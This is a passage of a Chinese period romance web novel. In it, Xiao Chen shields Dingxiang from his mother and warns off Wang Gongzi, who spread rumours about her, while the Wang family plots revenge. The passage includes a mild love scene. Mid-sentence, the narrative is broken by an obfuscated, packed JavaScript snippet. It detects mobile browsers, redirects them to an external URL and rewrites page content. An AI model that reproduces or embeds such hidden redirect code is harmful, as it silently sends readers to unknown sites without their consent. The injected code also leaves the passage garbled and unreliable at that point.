“我从不说浑话。”肖晨的声音异常平静,平静得让人心头发寒,“母亲若是执意要伤害她,那我便陪她一起死。您选吧。” 这话像一把锋利的刀,狠狠插进肖母心里。她看着儿子眼底那份不容置疑的认真,看着他将那个女子护得密不透风的模样,突然意识到——这个儿子,是真的被她逼到了绝境。 他不是在威胁,是真的会这么做。 肖母的气焰瞬间矮了半截,嘴唇哆嗦着,却再也骂不出一个字。她怎么也想不明白,自己含辛茹苦养大的儿子,怎么就偏偏对这么个“卑贱”的女子动了真心,甚至愿意为她豁出性命? 旁边的丫鬟婆子吓得大气不敢出,屋里静得只剩下肖母粗重的喘息声。 丁香靠在肖晨怀里,听着他掷地有声的话,眼泪无声地滑落,滴在他的衣襟上。她从没想过,会有人为了她,做到这个地步。 肖晨轻轻拍着她的背,目光始终锁在肖母脸上,带着一种近乎悲壮的坚定。他知道这话伤了母亲的心,可他别无选择。退让一次,就会有无数次的伤害,他不能让丁香再落入那样的境地。 许久,肖母才缓缓站起身,眼神复杂地看了他们一眼,最后重重地“哼”了一声,甩袖就走,连狠话都没再说一句。走到门口时,脚步踉跄了一下,像是瞬间苍老了好几岁。 看着她的背影消失在院外,肖晨紧绷的身体才骤然松懈下来,抱着丁香缓缓蹲下身,将脸埋在她的颈窝,声音带着压抑的疲惫:“没事了……以后都没事了……” 丁香伸出手,轻轻环住他的背,感受着他微微的颤抖。阳光透过窗棂落在两人身上,明明是暖光,却带着一丝劫后余生的微凉。 她知道,这场风波或许还没结束,但只要身边有他,她就什么都不怕了。 肖晨松开紧抱的手,仔细替她拢了拢身上的外袍,温声道:“快进屋去,外面风凉,仔细着凉。” 丁香点点头,刚要转身,就被他拉住。他对门外的丫鬟吩咐:“去把早饭端来,多备些热粥和小菜。” 回到屋里,炉火已经烧得旺了,暖意渐渐漫开来。丫鬟很快端来早饭,肖晨亲自盛了一碗粥,用勺子搅了搅,试了温度才递到丁香嘴边:“慢点喝。” 丁香小口小口地喝着,看着他专注的侧脸,心里又暖又涩。 “以后不许再说‘走’字。”肖晨忽然开口,手里的勺子顿了顿,“更不能真的离开我。” 他抬眸看她,眼里带着一丝后怕:“刚才你要是真的走了,就不怕我伤心?” 丁香喉咙一哽,放下粥碗,伸手轻轻抚上他的脸颊:“我……我只是不想让你为难。” “有你在,我才不为难。”肖晨握住她的手,放在唇边轻轻吻了吻,“没你的地方,才是真的难。” 他舀起一勺菜递过去,语气带着几分不易察觉的委屈:“你以为我护着你,是为了让你说走就走的?” 丁香看着他眼底的认真,用力摇了摇头,泪水又忍不住涌上来:“不走了……我再也不走了。” 肖晨这才笑了,眼里的阴霾散去不少,又继续喂她吃饭,动作温柔得不像话。“这才对。”他低声道,“以后不管遇到什么事,都要先告诉我,我们一起扛。不许再自己憋着,更不许想不开。” 丁香乖乖点头,小口吃着他喂来的饭菜,心里那片因流言和屈辱而荒芜的土地,仿佛正被他一点点用温柔灌溉,长出了名为“安稳”的嫩芽。 肖晨喂她吃完最后一口粥,将碗筷递给丫鬟,转身便又把她抱回床上。被褥还带着两人的体温,暖得让人不想起身。 丁香窝在他怀里,手指轻轻划着他的衣襟,小声问:“公子,你不去书院读书了么?” 肖晨低头啄了啄她的唇,声音带着慵懒的沙哑:“今日不去了。”他收紧手臂,将她抱得更紧,“眼下,陪着你才是最重要的事。” 他吻着她的眉眼,鼻尖,最后落在唇上,辗转厮磨,语气带着不容拒绝的笃定:“我不会离开你的,一步也不。” 这个吻渐渐变得深沉,带着压抑了许久的珍视与渴望。他的手轻轻抚过她的脊背,动作温柔却带着不容错辨的占有欲。经历了昨日的风波,他更清楚地知道,眼前这个人对他有多重要。他只想紧紧抱着她,感受她真实的体温和心跳,确认她是真的在自己身边。 丁香闭上眼,感受着他唇齿间的温柔与炽热。他的吻像潮水,一点点淹没她的感官,让她不由自主地沉溺其中。她不再犹豫,不再退缩,抬手环住他的脖颈,回应着他的吻。 他想要她,不是一时的情动,而是想要将这个人彻底融入自己的生命里。他的动作温柔而克制,带着小心翼翼的珍视,仿佛在对待世间最珍贵的宝藏。 丁香任由他索取,将自己的一切都毫无保留地交给他。她的身体,她的灵魂,她所有的脆弱与坚韧,都在这一刻向他全然敞开。在他的温柔里,那些关于“肮脏”的流言,那些关于“卑贱”的指责,都化作了泡影。 他要的从不是她的过去或未来,只是此刻这个完完全全属于他的、美好的她。 而丁香在他的温柔里彻底沉沦,她知道,自己这一辈子,都注定要属于这个不顾一切护她周全的男人了。 缠绵过后,丁香累得蜷缩在肖晨怀里,脸颊泛着红晕,眼睫上还沾着细碎的水汽。肖晨轻轻抚着她汗湿的发丝,指尖划过她光滑的脊背,动作温柔得像在呵护一件稀世珍宝。 窗外的日头渐渐升高,透过窗纱洒进来,在她裸露的肩头投下暖融融的光斑。 “饿不饿?”肖晨低头问,声音里带着刚经历过情事的沙哑。 丁香摇摇头,往他怀里缩了缩,鼻尖蹭着他的胸膛,像只慵懒的小猫。“不饿。”她的声音软软糯糯,带着几分依赖,“就这样抱着就好。” 肖晨失笑,低头在她发顶印下一个吻:“好,就抱着。” 他知道她心里还有不安,那些流言和肖母的态度像根刺,扎在她心上。他能做的,就是用尽可能多的时间陪着她,让她知道自己从不是孤军奋战。 两人静静相拥着,屋里只有彼此平稳的呼吸声。丁香听着他有力的心跳,原本慌乱的心渐渐安定下来,眼皮越来越沉,不知不觉就睡着了。 肖晨看着她熟睡的模样,长长的睫毛在眼睑下投出浅浅的阴影,嘴角还带着一丝满足的笑意。他替她掖好被角,自己却没有睡意,只是一瞬不瞬地看着她,眼里满是化不开的柔情。 他在心里盘算着,等她醒了,就去跟母亲好好谈谈。就算谈不拢,也要让她明白,丁香是他此生认定的人,谁也别想再动她分毫。至于王家父子和那些流言,他自然会一一查清,给丁香一个清白。 正想着,门外传来轻轻的敲门声,是阿成的声音:“少爷,书院的同窗派人来问,您今日还去不去?说先生要讲《论语》的新章了。” 肖晨皱了皱眉,低头看了眼怀里熟睡的人,低声回道:“不去了,替我跟先生告个假。” “是。”阿成应着,脚步声渐渐远去。 肖晨重新将注意力放回丁香身上,指尖轻轻拂过她的脸颊。阳光正好,爱人在侧,纵使前路有再多风雨,此刻的安稳也足以支撑他披荆斩棘。 他只想守着这份温暖,护着怀里这个人,直到地老天荒。 李傲雪坐在窗边,手里捏着绣了一半的帕子,针脚却歪歪扭扭。窗外的海棠开得正盛,她却没心思看,目光落在院门口,时不时叹口气。 上次为了替丁香求情,她被肖母罚去祠堂跪了两个时辰,膝盖至今还隐隐作痛。肖母当时的话像针一样扎在她心上:“你是肖家明媒正娶的少夫人,胳膊肘倒往外拐,帮着一个贱蹄子说话?眼里还有没有我这个婆母?” 她知道自己是儿媳,孝顺二字压在肩上,不能真的跟婆母硬顶。更何况,肖母本就对丁香心存芥蒂,她若再强辩,只会火上浇油,让丁香更难立足。 “少夫人,喝杯茶吧。”丫鬟端来热茶,轻声道,“您都坐了一上午了,眉头就没松开过。” 李傲雪接过茶盏,指尖触到温热的杯壁,才轻轻叹了口气:“我在想……丁香那边,不知怎么样了。” 昨夜少爷护着丁香的动静,她隔着院子都听见了。知道肖晨会护着她,心里稍安,却又忍不住担心——肖母的脾气她最清楚,这次怕是不会善罢甘休。 “少爷那么护着丁姑娘,应该没事的。”丫鬟安慰道。 “我知道他护着。”李傲雪苦笑,“可正因如此,我才更不能添乱。肖母本就觉得是丁香勾着少爷,我若再去说情,反倒显得我们妯娌合起伙来瞒她,到时候……只会更糟。” 她放下茶盏,指尖划过帕子上未完成的花样:“少爷在外应付王家的事,还要分心护着丁香,已经够累了。我这个做妻子的,总不能再让他为家里的事操心。” 只是想到丁香受的委屈,想到她明明是个好姑娘,却要被流言和偏见磋磨,心里就像堵了块石头。 “再等等吧。”李傲雪轻声道,像是在对自己说,“等肖母气消了些,或许……或许我能找个机会,慢慢劝劝她。” 窗外的风卷起几片花瓣,落在窗台上。她望着那抹粉白,心里默默盼着,这场风波能早些过去,也盼着那个总带着怯意却藏着韧性的姑娘,能真的在肖家安稳下来。 日头爬到正空又渐渐西斜,屋里的光线变得柔和起来。丁香先醒了,看着身边熟睡的肖晨,他眉头舒展,侧脸在光晕里显得格外温润,她忍不住伸手轻轻碰了碰他的睫毛。 肖晨被她的动作弄醒,睁开眼就对上她带笑的眸子,伸手将她揽进怀里:“醒了?” “嗯。”丁香点点头,脸颊微红,“都这个时辰了。” 肖晨坐起身,拿起旁边的衣衫,温柔地替她拢好:“别动,我来。” 丁香连忙想自己来,推拒着:“公子,还是我自己来吧,怎么能劳烦你动手……” “你是我的女人,有什么劳烦的。”肖晨按住她的手,语气自然得像在说一件再平常不过的事。他的指尖划过她的手腕,替她系好衣带,动作娴熟又轻柔,仿佛做过千百遍。 丁香看着他专注的模样,心里暖融融的,也不再推辞,乖乖任由他摆布。等衣衫穿好,他又拿起梳子,替她梳理散乱的长发。 青丝如瀑,在他指间流淌,他轻轻绾起一个简单的发髻,用玉簪固定好。“好了。”他退后一步,打量着她,眼里满是笑意,“还是这样好看。” 丁香被他看得有些不好意思,低下头:“公子取笑我了。” “没有取笑你。”肖晨伸手扶起她的下巴,认真道,“在我眼里,你怎样都好看。” 他拉着她的手起身:“饿了吧?让厨房炖了汤,我们去吃点东西。” 丁香任由他牵着,脚步轻快地跟着他往外走。阳光透过回廊的花窗洒下来,在两人身上投下斑驳的光影。她偷偷看了眼身旁的人,心里那份因流言而起的惶恐,早已被他一点点抚平。 两人刚走到外间,就见玉溪端着一个食盒进来,脸上带着腼腆的笑:“公子,丁姑娘,厨房炖了乌鸡汤,我给你们端来了。” 她把汤碗摆到桌上,看了看肖晨,又转向丁香,眼神格外真诚:“丁姑娘,外面那些乱七八糟的话,您别往心里去。” 丁香愣了一下,没想到玉溪会特意说这个。 玉溪又道:“我在府里待得久,知道您是个好姑娘,性子温和,待人也实诚。那些嚼舌根的话,一听就是假的,您千万别往心里去,伤了自己。” 她虽也是花楼里出来的,却看得通透——丁香进府后,从没仗着公子的宠爱跋扈过,平日里见了谁都客客气气,连扫地的老妈子都受过她的恩惠。 丁香心里一暖,眼眶微微发热:“谢谢你,玉溪。” “谢什么呀。”玉溪笑着摆手,“您和公子这么好,那些坏心思的人自然看不得,才编出这些话来。您别理他们就是。” 肖晨看着这一幕,眼里漾起暖意,对玉溪道:“辛苦你了,下去吧。” : “哎。”玉溪应着,又看了丁香一眼,才轻快地退了出去。 肖晨盛了一碗汤递给丁香:“你看,不是所有人都信那些鬼话。” 丁香接过汤碗,热气模糊了视线。是啊,有肖晨护着,有李傲雪惦记,还有玉溪这样的人肯信她,她好像……也不是那么孤单。 她喝了一口汤,暖意从喉咙一直流到心里,轻声道:“嗯。” 只要守住心里的光,再冷的流言,也冻不住滚烫的人心。 丁香喝完最后一口汤,将碗放在桌上,指尖还残留着暖意。肖晨握住她的手,目光坚定:“走吧,我带你去见母亲,好好跟她说说。” 丁香心里一紧,下意识地退缩:“可是……母亲她万一……” “没有万一。”肖晨打断她,握紧了她的手,“有我在,别怕。” 他拉着她穿过回廊,一步步走向肖母的院子。丁香的手心沁出细汗,却被他掌心的温度牢牢包裹着,那份坚定的力量,让她莫名安定了几分。 刚走进肖母的房间,就听见她冷嘲热讽的声音:“哟,这不是我的好儿子吗?有了那个贱蹄子陪着,还肯来看我这个老婆子?” 肖晨没理会她的讥讽,拉着丁香站到她面前,语气平静却带着分量:“您是我的母亲,我自然要来。” 他看了眼身旁的丁香,继续道:“丁香是我的女人,也是您明媒正娶的儿媳。她已经嫁进肖家,就是肖家的人。” “我可没认这个儿媳!”肖母别过脸,语气强硬。 “认不认,她都是。”肖晨寸步不让,“您总说她配不上我,可她待我真心实意,陪在我身边时,我才觉得日子是暖的。儿子开心了,难道不是府里的喜事?” 他顿了顿,声音放柔了些:“您一直为难她,可她从没记恨过您,昨天还跟我说,怕惹您生气。这样的心意,难道还不够吗?” 丁香没想到他会这样说,惊讶地抬头看他,眼里泛起泪光。 肖晨回望了她一眼,又转向肖母,语气带着恳求:“母亲,看在我的面子上,别再为难她了。她往后会好好伺候您,也会好好守着这个家。给她一个机会,也当是……成全儿子,好不好?” 肖母沉默着,手指紧紧攥着手里的佛珠,指节泛白。她何尝听不出儿子话里的恳求,可心里那道坎,却怎么也过不去。 屋里静了许久,肖晨始终拉着丁香的手,没有退让的意思。丁香低着头,能感受到他掌心传来的力量,也能感受到他为了自己,正一点点融化母亲心里的坚冰。 终于,肖母重重地叹了口气,声音里带着疲惫:“罢了……我管不动你了。” 她抬眼看向丁香,眼神依旧冰冷,却没再说出刻薄的话:“既然进了肖家的门,就守好肖家的规矩。再敢做出什么丢人现眼的事,我饶不了你。” 这话虽算不上接纳,却已是松动的迹象。肖晨心里一松,拉着丁香屈膝行礼:“谢母亲。” 丁香也连忙跟着行礼,声音带着感激的微颤:“谢母亲。” 走出肖母的院子时,夕阳正染红天际。肖晨低头看她,眼里满是笑意:“你看,我说了没事的。” 丁香望着他,用力点了点头,眼角的泪滑落,这一次,却带着如释重负的暖意。 肖晨牵着她的手往回走,晚风拂过,带着草木的清香。他侧头看她,眼里带着温柔的笃定:“别怕,以后不管遇到什么事,我都会护着你。” 丁香低头看着两人交握的手,声音轻得像叹息:“公子,我何德何能,能让您这样护着我?”她总觉得自己像株依附他的菟丝花,没了他的庇护,便只能任人践踏。 肖晨停下脚步,弯腰平视着她的眼睛,语气带着几分故意的严肃:“又说傻话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095654|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他抬手捏了捏她的脸颊,动作亲昵:“这可不像我认识的丁香。你忘了刚进府时,被老妈子刁难也不肯低头,被下人嚼舌根也能笑着应对?那时候的你多坚强,谁也别想欺负到你头上。” 他故意扬了扬眉:“怎么,现在就遇到这么点困难,就怕了?” 丁香被他说得一愣,那些被遗忘的坚韧仿佛被他一句话唤醒。是啊,她曾在更难的处境里挣扎过,花船上的屈辱、被转卖的惶恐,她都咬牙扛过来了,怎么如今有了他的庇护,反倒变得胆怯了? “我……”她张了张嘴,眼里的怯懦渐渐褪去,多了几分清亮。 肖晨见她神色松动,笑了起来,伸手揉了揉她的头发:“这才对。”他重新牵起她的手,往回走去,“以后不许再想这些有的没的。你是我的妻子,我护着你天经地义,哪来那么多‘何德何能’?” “再说了,”他低头凑近她耳边,声音带着笑意,“你这么好,值得我护着。” 丁香的脸颊泛起红晕,心里的不安像被风吹散的云,渐渐淡了。她抬头看他,夕阳的金光落在他脸上,柔和了他的轮廓。或许,她真的可以再勇敢一点,和他一起,把日子过成想要的模样。 肖晨看着她脸颊泛起的红晕,像被夕阳染上的霞光,温柔又动人。他停下脚步,伸手轻轻托住她的下巴,低头便吻了上去。 这个吻不同于昨夜的炽热缠绵,带着午后阳光般的暖意,轻柔地辗转厮磨。他能尝到她唇齿间残留的鸡汤鲜香,混着她独有的清甜,让人心头一漾。 丁香被他吻得呼吸微促,抬手轻轻抓住他的衣襟,指尖微微发颤。夕阳的金光穿过枝叶,在两人交叠的身影上投下细碎的光斑,连晚风都变得温柔起来。 肖晨吻了许久才松开她,额头抵着她的额头,气息交融:“脸红的样子,更好看。” 丁香把脸埋进他的颈窝,声音细若蚊蚋:“公子又取笑我……” “没取笑。”他低笑,声音里满是宠溺,“是真心觉得好看。” 他牵起她的手,继续往回走,指尖的温度烫得她心头发暖。晚霞铺满天空,将两人的影子拉得很长,仿佛要一直延伸到很远的将来。 回到院里时,暮色已经漫了上来。丫鬟们点了灯,暖黄的光晕透过窗纸,在地上映出柔和的轮廓。 肖晨让厨房加了几样丁香爱吃的小菜,两人相对而坐,慢慢吃着晚饭。没有了白日的紧绷,气氛显得格外温馨。 “明日我去趟王家。”肖晨忽然开口,夹了一筷子菜放进她碗里,“有些事,该做个了断了。” 丁香知道他说的是流言的事,抬头看着他:“要……要我一起去吗?” “不用。”肖晨摇摇头,握住她的手,“你乖乖在家等着,我去处理就好。那些造谣生事的人,总该付出点代价。” 他不想让她再面对那些不堪的目光,有些脏活累活,他来做就好。 丁香点点头,心里却默默记下了。她知道自己帮不上什么大忙,但至少可以在这里,等他回来。 晚饭后,两人坐在廊下看月亮。月光清辉洒地,院里的桂树落了几片叶子,沙沙作响。 “你看,今晚的月亮很圆。”肖晨指着天上的圆月,侧头对她说。 丁香顺着他指的方向看去,轻声道:“是很圆。” “就像……我们现在这样。”肖晨握紧她的手,“团圆的圆。” 丁香的心轻轻一颤,转头看他,他眼里的温柔比月光更甚。她忽然明白,所谓的安稳,或许就是这样——有个人牵着你的手,看遍日月星辰,把寻常日子过出暖意。 夜渐深,肖晨起身将她打横抱起:“夜深了,回屋睡吧。” 丁香窝在他怀里,听着他沉稳的心跳,鼻尖萦绕着他身上清冽的皂角香。她知道,往后的路或许还会有波折,但只要身边有他,她就什么都不怕了。 肖晨低头看着怀里闭目浅笑的人,脚步放得更轻。月光下,他的眼神坚定——他会护着她,护着这份来之不易的温暖,直到岁月尽头。 天刚蒙蒙亮,丁香就醒了,见肖晨还在熟睡,她轻手轻脚地起身,替他掖好被角,便去了外间准备洗漱的东西。 等肖晨醒来时,她已经端着热水进来,脸上带着浅浅的笑意:“公子醒了?快洗漱吧。” 肖晨刚要自己动手,她却按住他的手:“公子,今日让我来吧。”她拿起布巾蘸了水,仔细替他擦拭脸颊,动作轻柔又认真,“以前总让您照顾我,现在我也想好好服侍您。” 肖晨看着她眼里的坚持,便不再推辞,任由她替自己洗漱。等擦完脸,她又拿起一旁的衣衫,小心翼翼地替他穿上,系衣带时指尖不小心碰到他的腰侧,两人都顿了一下,她脸颊微红,却还是稳稳系好了结。 “好了。”她退后一步,看着他穿戴整齐的样子,眼里满是满足。 肖晨伸手将她揽进怀里,低头在她额上印下一个吻:“我的丁香,越来越能干了。” 两人收拾妥当,一同去了饭厅。李傲雪已经在那里等着,见他们进来,笑着招呼:“醒了?快来吃饭吧,厨房做了你们爱吃的阳春面。” 早饭吃得平静温馨,李傲雪偶尔说些府里的琐事,丁香安静地听着,时不时给肖晨碗里添些小菜。 吃过饭,肖晨要动身去王府了。走到门口,他忽然张开双臂,将丁香轻轻拥进怀里,下巴抵在她的发顶,这个拥抱不同于以往的浅尝辄止,带着一种将她整个人纳入怀中的安稳感。 “等我回来。”他在她耳边低语,声音带着现代式的亲昵与笃定。 丁香被这个陌生的拥抱弄得有些发愣,却还是下意识地环住他的腰,把脸贴在他的胸口:“嗯,我等你。” 肖晨松开她,揉了揉她的头发,转身大步离去。丁香站在门口望着他的背影,直到消失在巷口才收回目光,心里却像被那个拥抱填满了暖意。 她知道,他这一去是为了给她讨回公道,而她能做的,就是在这里,安安稳稳地等他回来。 马车在王府门前停下,肖晨推门下车,脸色沉得像要滴出水来。门房见是他,不敢怠慢,连忙往里通报。 王公子正坐在花园里喝茶,听说肖晨来了,嘴角勾起一抹讥讽的笑。他原以为散播那些谣言,能让肖晨厌弃丁香,甚至能让肖母把人赶出府,自己说不定还有机会。可这几日听底下人说,肖晨不仅没疏远丁香,反倒护得更紧了,心里正憋着气。 见肖晨走进来,王公子故意慢条斯理地抿了口茶:“稀客啊,肖兄怎么有空来我这?” 肖晨没心思跟他虚与委蛇,开门见山:“那些关于丁香的谣言,是你让人散布的吧?” 王公子放下茶杯,脸上的笑意不变,语气却带着挑衅:“是又如何?” “你知不知道那些话对她的伤害有多大?”肖晨的声音冷得像冰,“她差点被我母亲卖到花船,若不是我及时赶到……” “哦?竟有这事?”王公子挑眉,眼底闪过一丝快意,随即又摆出一副无辜的样子,“可肖兄,我帮她从府里逃跑,这总是事实吧?若不是我,她现在还在那污浊之地呢。” 他故意加重“污浊之地”几个字,看着肖晨的脸色一点点变青,心里越发得意:“说起来,我也算她的救命恩人,如今说几句实话,难道不行?” “实话?”肖晨怒极反笑,一步步逼近他,“你所谓的实话,是添油加醋地编造她的过往,是用最龌龊的心思揣测她的清白!你救她,不过是想把她当成玩物,没能得手便怀恨在心,用这种下三滥的手段报复——这就是你所谓的‘救命之恩’?” 王公子被他说得脸色一阵青一阵白,猛地站起身:“肖晨,你别给脸不要脸!我敬你是世家公子,你倒真以为我怕你?” “我从没想过让你怕。”肖晨盯着他,眼神锐利如刀,“我今天来,是告诉你,丁香是我肖晨的妻子,往后谁再敢动她一根头发,或者说一句污蔑她的话,我肖晨第一个不饶!” 他顿了顿,声音里带着不容置疑的警告:“你那些龌龊心思,最好收起来。再敢招惹她,我会让你知道,什么叫后悔。” 说完,他转身就走,留下王公子在原地气得浑身发抖,望着他的背影,眼里满是怨毒。 54.发了狠的肖晨 王公子正气得发抖,身后忽然传来王老爷的声音:“怎么回事?吵什么?” 王老爷拄着拐杖走出来,脸上带着几分精明的算计。刚才肖晨的话他在廊下听了大半,见儿子被怼得说不出话,非但没生气,反倒沉声道:“儿子,你现在可总算是开窍了些。” 王公子一愣:“爹?” “以前你就是太心软,太善良。”王老爷瞪了他一眼,语气带着恨铁不成钢的意味,“以为对人好就能得偿所愿?这世上的事哪有那么简单!” 他看向肖晨离去的方向,冷哼一声:“你想要的东西,就得靠抢、靠争!心慈手软只会让别人占了便宜!就像那个丁香,你帮她逃出来,她却转头跟了肖晨,这不就是教训?” 王公子被说得脸上一阵红一阵白,却又忍不住辩解:“可我没想到肖晨会护她护到这个地步……” “护?”王老爷拐杖往地上一顿,“男人的新鲜劲能有多久?等他腻了,那女人还不是任人拿捏?” 他凑近儿子,压低声音:“你记住,想要的东西就得不择手段。不狠一点,只会让人踩在脚下。肖晨不是护着她吗?咱们就偏不让他如意。这京城就这么大,有的是法子让那女人待不下去。” 王公子眼里闪过一丝犹豫,随即被贪婪和不甘取代。他望着肖晨消失的方向,握紧了拳头——爹说得对,自己不能就这么算了。丁香是他先看上的,就算用些手段,也要把人抢回来。 王老爷看着儿子眼里燃起的狠劲,满意地捋了捋胡须。在他看来,这世上没有钱和权解决不了的事,一个从花船出来的女子,一个看似清高的肖晨,迟早会栽在他们王家手里。 肖晨从王府回来,脸色依旧带着几分沉郁,却没在院里多做停留,径直去了书房。先生早已在那里等候,见他进来,放下手里的书卷:“回来了?” “先生。”肖晨躬身行礼,在书桌旁坐下。 先生打量他一眼,看出他心绪不宁,却没多问,只是指着桌上的文章:“离府试没多少日子了,你最近心思有些散,得收收神了。” 肖晨拿起笔,指尖微顿:“学生明白。” “明白就好。”先生点点头,语气带着期许,“你天资聪颖,只要静下心来好好准备,考个秀才不算难事。” 他顿了顿,又道:“你可知,一旦中了秀才,便算是有功名在身。往后在大堂上见了县令,也无需下跪行礼。这不仅是体面,更是底气。” 肖晨握着笔的手紧了紧。他知道先生的意思——在这世道,有功名傍身,说话做事才能更有分量,护起丁香来,也能少些阻碍。王家之所以敢如此嚣张,不就是仗着家底厚实,又与官府有些牵连? “学生定当努力。”肖晨抬眼看向先生,眼神里多了几分坚定。 为了自己,更为了丁香能在这家里、在这世道上,活得更安稳些,这场考试,他必须拿下。 先生见他眼里重燃斗志,满意地笑了:“好,那我们今日就来讲讲策论的写法……” 窗外的阳光透过窗棂照进书房,落在摊开的书卷上。肖晨凝神听着,笔尖在纸上沙沙划过,心里的烦躁渐渐被决心取代。他知道,眼下的每一分努力,都是为了将来能更有底气地站在她身边,护她一世周全。 肖母坐在梳妆台前,手里捻着一支玉簪,半天没插上发鬓。铜镜里映出她紧锁的眉头,一想到肖晨护着丁香的模样,气就不打一处来。 “哼,一个贱蹄子,倒成了香饽饽。”她对着镜子低声骂道,指尖狠狠掐着帕子,“我十月怀胎生下的儿子,竟被她迷得晕头转向,连亲娘的话都当耳旁风!” 旁边的老妈子劝道:“老夫人消消气,少爷也是一时糊涂。等过些日子新鲜劲过了,自然就知道谁才是真心对他好。” “新鲜劲?”肖母冷笑一声,将玉簪重重搁在桌上,“我看他是铁了心!为了那个女人,连功名都敢分心,刚才去书房,魂都像丢了一半!” 她深吸一口气,眼里闪过一丝狠厉:“我就这么一个儿子,总不能眼睁睁看着他被那狐狸精毁了。现在他护着,我没法跟他硬闹,可日子还长着呢。” “那贱货想在肖家站稳脚跟?没那么容易。”肖母拿起佛珠,指尖飞快地捻着,“慢慢走着瞧,我有的是法子让她知道,这肖家到底谁说了算。” 窗外的风卷着落叶飘过窗棂,屋里的光线渐渐暗下来,像她此刻阴沉的心思。她知道自己拗不过儿子,却也绝不会甘心让一个“卑贱”的女人毁了肖家的门楣——这场较量,才刚刚开始。 丁香正在院里侍弄那盆刚抽芽的兰草,听见脚步声抬头,见李傲雪提着一个木匣子走进来,连忙放下水壶迎上去:“少夫人,您怎么来了?” 李傲雪笑着扬了扬手里的匣子:“来给你送东西。”她把匣子递过去,“前几天少爷带你去布店选的料子,裁缝铺刚做好,他让我给你送来。” 丁香接过匣子,指尖触到光滑的木质,心里泛起一阵暖意。她竟忘了这事——那天公子带她去布店,她只当是随口逛逛,没想到他竟记在心上,还特意让人赶制出来。 “快打开看看合不合身。”李傲雪催促道。 丁香解开匣扣,里面叠着几件新衣,湖蓝色的襦裙绣着细碎的兰草纹,月白色的外衫料子轻薄透气,还有一件藕粉色的夹袄,针脚细密,一看就是用心做的。 “少爷说你总穿素色的衣裳,特意让裁缝加了些浅淡的花纹,既不张扬,又显得精神。”李傲雪看着她眼里的惊喜,笑道,“他呀,看着粗心,其实心细着呢。” 丁香轻轻抚摸着衣裳上的纹路,眼眶微微发热。她从没想过,自己也能拥有这样精致的新衣,更没想过,会有人这样细致地惦记着她的喜好。 “替我谢谢公子……也谢谢少夫人。”她声音有些发颤。 “谢我做什么,都是少爷的心意。”李傲雪拍了拍她的手,“快试试吧,我看看合不合身,不合的话还能让裁缝改。” 丁香点点头,抱着匣子进屋换衣。等她走出来时,湖蓝色的襦裙衬得她肤色愈发白皙,原本略显怯懦的眉眼,仿佛也被这抹亮色点亮了几分。 “真好看。”李傲雪由衷赞叹,“少爷的眼光果然不错。” 丁香被夸得有些不好意思,低头笑了笑。阳光落在她身上,衣袂轻扬,像朵悄然绽放的兰草,带着内敛却动人的生机。她知道,这份心意,是公子给她的底气,让她在这深宅大院里,慢慢挺直了腰杆。 李傲雪看着她身上合身的新衣,眼里笑意更浓:“这会我也没事,府里静悄悄的,你要不要弹琴给我听听?” 她顿了顿,补充道:“我常听少爷提起,说你弹的琴音特别动人,他总爱听你弹呢。” 丁香愣了一下,随即点头应下:“好。” 她转身去里屋取出那架肖晨送她的七弦琴,轻轻放在廊下的石桌上。指尖拂过琴弦,试了几个音,清越的琴音在院里散开,惊飞了檐下栖息的几只麻雀。 李傲雪在一旁的石凳上坐下,静静看着她。只见丁香抬手落指,琴音便如流水般淌出,时而轻柔如晚风拂过湖面,时而婉转如黄莺在林间轻啼,正是肖晨最爱听的那支《晚晴》。 她弹得专注,眉宇间带着几分安然,仿佛将所有心事都揉进了琴音里。那些曾经的委屈、不安,还有此刻的暖意与笃定,都随着琴弦的震颤慢慢散开。 李傲雪听得入了神,她终于明白肖晨为何爱听——这琴音里没有半分谄媚或浮躁,只有一份历经风雨后的沉静,像丁香这个人一样,看着柔弱,却藏着一股韧劲儿。 一曲终了,余音袅袅。 李傲雪轻轻鼓掌:“真好,比我听过的那些乐师弹得都动人。” 丁香脸颊微红,收了手:“少夫人过奖了。” “不是过奖,是真的好。”李傲雪看着她,眼神温和,“往后若是闷了,就多弹弹。这院里啊,是该多些这样的好声音。” 丁香浅浅一笑:“只要少夫人想听,我随时都能弹。” 李傲雪眉眼弯弯:“那可太好了,往后我闷了,就来你这儿蹭琴听。”她看着石桌上的琴,又道,“说起来,你跟少爷真是般配。少爷画得一手好画,尤其爱画山水,笔墨里带着股清气;你弹得一手好琴,琴音里藏着韧劲。他的画配你的琴,就像山配着水,再合适不过了。” 丁香被她说得脸颊发烫,低头抚着琴弦:“少夫人又取笑我了。” “我可没取笑。”李傲雪认真道,“夫妻之间,不就是这样吗?能在一处安心做自己喜欢的事,还能懂对方的好,这才是难得的福气。” 她想起自己和肖晨的相处,虽无这般炽热,却也有着细水长流的默契,心里也泛起暖意。 “你呀,别总把自己放得太低。”李傲雪拍了拍她的手,“少爷既把你放在心上,你就大大方方受着。这院里的日子,往后总会越来越好的。” 丁香抬头看她,眼里映着天光,亮闪闪的。她轻轻“嗯”了一声,心里那份因身份而起的忐忑,又淡了几分。或许,真的像李傲雪说的那样,有肖晨的护持,有这样温和的相处,往后的日子,会慢慢明媚起来。 两人正说着话,玉溪端着一碟刚蒸好的桂花糕进来,笑着插话:“少夫人和丁姑娘聊什么呢,这么开心?” “在说丁香的琴弹得好呢。”李傲雪拿起一块桂花糕递给丁香,“尝尝,厨房新做的,加了蜜渍的桂花,甜而不腻。” 丁香接过咬了一小口,清甜的香气在舌尖散开,像此刻的心情一样,暖融融的。 “对了,”李傲雪像是忽然想起什么,“后日是府里祭祖的日子,规矩多些,到时候你跟在我身边,我教你该怎么做,免得失了礼数让母亲挑刺。” 丁香心里一暖,连忙点头:“多谢少夫人提醒。”她本就怕这些场合出错,有李傲雪提点,总算安心了些。 李傲雪笑了笑:“跟我客气什么。都是一家人,互相帮衬是应该的。” 